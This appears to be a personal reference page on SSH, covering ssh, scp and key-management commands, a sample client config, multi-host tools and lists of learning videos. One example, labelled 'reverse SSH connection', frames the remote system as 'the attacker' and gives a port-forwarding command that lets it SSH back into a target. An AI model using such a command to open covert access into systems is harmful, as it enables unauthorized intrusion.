SSH

Secure Shell

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Table of Contents

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Commands Reference

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Remote Ops

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ssh “secure shell”

options

• -R enables remote port forwarding

[example]

Run command ps on the remote machine myserver.

ssh myserver ps
ssh username@myserver ps       # specify user name
ssh -l username myserver ps    # specify user name
ssh -p 22 myserver ps          # specify port number
ssh myserver ps > /tmp/ps.out  # redirect the output to a file on your local system
ssh myserver ps \> /tmp/ps.out # redirect the output to a file on the remote system

[example]

Run a script remotely.

ssh myserver bash < ./myscript.sh

[example]

test version with leading echo

for node in web-server{00..09}; do
  echo ssh $node 'echo -e "$HOSTNAME\t$(date "+%F") $(uptime)"'
done

ready version

for node in web-server{00..09}; do
  ssh $node 'echo -e "$HOSTNAME\t$(date "+%F") $(uptime)"'
done

[example]

wait for a reboot

until ssh user@10.10.10.10; do sleep 3; done

[example]

reverse SSH connection

• 12345 is the port number that the remote system (the attacker) will use to SSH back into the target

• localhost:22 specifies the port number that the target system will listen on to receive a connection

ssh -R 12345:localhost:22 user@remoteipaddress

ssh localhost -p 12345 # setup a reverse connection from the attacker system after the target has connected

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scp “secure copy”

[example]

Upload the file some_system.tar.gz to the home directory of user bob on remote system 10.0.0.45.

scp some_system.tar.gz bob@10.0.0.45:/home/bob/some_system.tar.gz

https://www.linuxfoundation.org/blog/blog/classic-sysadmin-how-to-securely-transfer-files-between-servers-with-scp

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sftp “secure file transfer protocol”

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Key Management

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• ssh-add

  • ssh-add --apple-use-keychain ~/.ssh/id_ed25519

  • ssh-add -l list private keys currently accessible to ssh-agent

• ssh-keysign

• ssh-keyscan

• ssh-keygen

  • ssh-keygen -f ~/.ssh/id_ed25519 -t ed25519 -C "email@example.com"

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Service

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• sshd

• sftp-server

• ssh-agent

  • eval "$(ssh-agent -s)"

  • echo $SSH_AGENT_PID

  • echo $SSH_AUTH_SOCK

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ssh-copy-id

• ssh-copy-id -i ~/.ssh/id_ed25519 user@host

OpenSSH Files

~/.ssh/authorized_keys

~/.ssh/known_hosts

~/.ssh/config

Host github.com
  AddKeysToAgent yes
  Hostname       github.com
  IdentityAgent  
  IdentityFile   ~/.ssh/id_ed25519
  UseKeychain    yes
  User           git

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Resources

[ h ][ w ] OpenSSH

Tools

• clusterssh - Written in Perl, it opens a bunch of unmanaged terminals in windows.

• mssh (MultiSSH) - GTK+–based multi-SSH client in a single GUI window.

• mussh - MUltihost SSH Wrapper shell script.

• pconsole - Intended for tiling window managers, spawns a terminal per host.

• multixterm - Written in Expect & Tk, drives multiple xterms.

• PAC Manager - A Perl SecureCRT-like GUI on Linux.

More

• https://www.ssh.com/

  • https://www.ssh.com/academy/ssh/port

• https://help.ubuntu.com/community/SSH/OpenSSH/Keys

YouTube

Akamai Developer

• [ y ] 02-23-2022. “How to use Multiple SSH Keys | Managing Different SSH Keys on your System”.

• [ y ] 10-27-2021. “SSH Key Authentication | How to Create SSH Key Pairs”.

LearnLinuxTV

• [ y ] 02-07-2023. “Linux Crash Course - Connecting to Linux Servers via SSH”.

• [ y ] 11-14-2022. “5 Must Have Tweaks to Secure OpenSSH”.

• [ y ] 03-23-2022. “Speed Up Your SSH Sessions with These Seven Quick SSH Config Tricks”.

• [ y ] 01-10-2022. “Getting Started with OpenSSH Key Management”.

• [ y ] 11-18-2021. “The OpenSSH Client Config File: Simplify your SSH Connections”.

• [ y ] 12-18-2020. “SSH Full Course - EVERYTHING You Need to Know!”. https://www.youtube.com/watch?v=YS5Zh7KExvE

• [ y ] 10-21-2019. “Linux Commands for Beginners 22 - Remote Management with OpenSSH”.

Low Level Learning

• [ y ] 07-03-2024 “new SSH exploit is absolutely wild”.

• [ y ] 04-03-2024. “revealing the features of the XZ backdoor”.

More

• [ y ] 01-31-2019. Computerphile. “How Secure Shell Works (SSH) - Computerphile”.

• [ y ] 03-03-2024. Lawrence Systems. “Linux Supply Chain Attack Discovered in SSH CVE-2024-3094”.

• [ y ] 03-11-2020. PowerCert Animated Videos. “Telnet vs SSH Explained”.

• [ y ] 07-08-2018. Traversy Media. “SSH Crash Course | With Some DevOps”.

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Texts

• [ h ] Barrett, Daniel J.; Richard E. Silverman; & Robert G. Byrnes. (2005). SSH The Secure Shell: The Definitive Guide. 2nd Ed. O’Reilly.

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Terms

• [ w ] Host Key (authenticates computer)

• [ w ] Identity Key (authenticates user)

• [ w ] OpenSSH

• [ w ] PuTTY

• [ w ] SFTP Secure File Transfer Protocol

• [ w ] SSH Secure Shell

• [ w ] SSH Client

• [ w ] SSH Server

• [ w ] Telnet

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